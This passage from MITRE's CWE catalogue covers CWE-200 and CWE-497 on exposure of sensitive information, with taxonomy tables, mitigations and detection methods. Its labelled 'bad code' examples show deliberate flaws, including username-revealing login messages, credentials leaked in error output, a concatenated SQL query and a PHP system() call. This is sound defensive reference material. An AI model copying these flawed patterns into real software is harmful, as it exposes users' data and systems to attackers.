  • the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
  • a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
  • the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.

It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

+ Alternate Terms
Information Disclosure:
This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.
Information Leak:
This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.213Exposure of Sensitive Information Due to Incompatible Policies
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.215Insertion of Sensitive Information Into Debugging Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.359Exposure of Private Personal Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.497Exposure of Sensitive System Information to an Unauthorized Control Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1258Exposure of Sensitive System Information Due to Uncleared Debug Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1273Device Unlock Credential Sharing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1295Debug Messages Revealing Unnecessary Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.498Cloneable Class Containing Sensitive Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.499Serializable Class Containing Sensitive Data
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1272Sensitive Information Uncleared Before Debug/Power State Transition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.532Insertion of Sensitive Information into Log File
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

(bad code)
Example Language: Perl 
my $username=param('username');
my $password=param('password');

if (IsValidUsername($username) == 1)
{
if (IsValidPassword($username, $password) == 1)
{
print "Login Successful";
}
else
{
print "Login Failed - incorrect password";
}
}
else
{
print "Login Failed - unknown username";
}

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

(result)
 
"Login Failed - incorrect username or password"

Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: PHP 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Example 4

This code stores location information about the current user:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...

catch (Exception e) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Sorry, this application has experienced an error.");
AlertDialog alert = builder.create();
alert.show();
Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 5

The following is an actual MySQL error statement:

(result)
Example Language: SQL 
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

The error clearly exposes the database credentials.

Example 6

This code displays some information on a web page.

(bad code)
Example Language: JSP 
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Example 7

The following program changes its behavior based on a debug flag.

(bad code)
Example Language: JSP 
<% if (Boolean.getBoolean("debugEnabled")) {
%>
User account number: <%= acctNo %>
<%
} %>

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Example 8

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

+ Observed Examples
ReferenceDescription
Rust library leaks Oauth client details in application debug logs
Digital Rights Management (DRM) capability for mobile platform leaks pointer information, simplifying ASLR bypass
Enumeration of valid usernames based on inconsistent responses
Account number enumeration via inconsistent responses.
User enumeration via discrepancies in error messages.
Telnet protocol allows servers to obtain sensitive environment information from clients.
Script calls phpinfo(), revealing system configuration to web user
Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Direct request to library file in web application triggers pathname leak in error message.
Malformed regexp syntax leads to information exposure in error message.
Password exposed in debug information.
FTP client with debug option enabled shows password to the screen.
Collaboration platform does not clear team emails in a response, allowing leak of email addresses
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability, but confidentiality loss is a technical impact - not a root cause error. As of CWE 4.9, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].

Comments:

If an error or mistake causes information to be disclosed, then use the CWE ID for that error. Consider starting with improper authorization (CWE-285), insecure permissions (CWE-732), improper authentication (CWE-287), etc. Also consider children such as Insertion of Sensitive Information Into Sent Data (CWE-201), Observable Discrepancy (CWE-203), Insertion of Sensitive Information into Externally-Accessible File or Directory (CWE-538), or others.
+ Notes

Maintenance

As a result of mapping analysis in the 2020 Top 25 and more recent versions, this weakness is under review, since it is frequently misused in mapping to cover many problems that lead to loss of confidentiality. See Mapping Notes, Extended Description, and Alternate Terms.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInformation Leak (information disclosure)
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
WASC13Information Leakage
+ References
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-07-11Nick Johnston
Identified incorrect language tag in demonstrative example.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2009-12-28CWE Content TeamMITRE
updated Alternate_Terms, Description, Name
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, References
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, References
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak (Information Disclosure)
2020-02-24Information Exposure

CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Weakness ID: 497
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.
+ Extended Description

Network-based products, such as web applications, often run on top of an operating system or similar environment. When the product communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the product itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. A product may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.214Invocation of Process Using Visible Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.548Exposure of Information Through Directory Listing
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code prints the path environment variable to the standard error stream:

(bad code)
Example Language:
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);

Example 2

This code prints all of the running processes belonging to the current user.

(bad code)
Example Language: PHP 

//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3

The following code prints an exception to the standard error stream:

(bad code)
Example Language: Java 
try {
...
} catch (Exception e) {
e.printStackTrace();
}
(bad code)
 
try {
...
} catch (Exception e) {
Console.Writeline(e);
}

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 4

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

(bad code)
Example Language: C# 
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

+ Observed Examples
ReferenceDescription
Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsSystem Information Leak
The CERT Oracle Secure Coding Standard for Java (2011)ERR01-JDo not allow exceptions to expose sensitive information
Software Fault PatternsSFP23Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Type
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
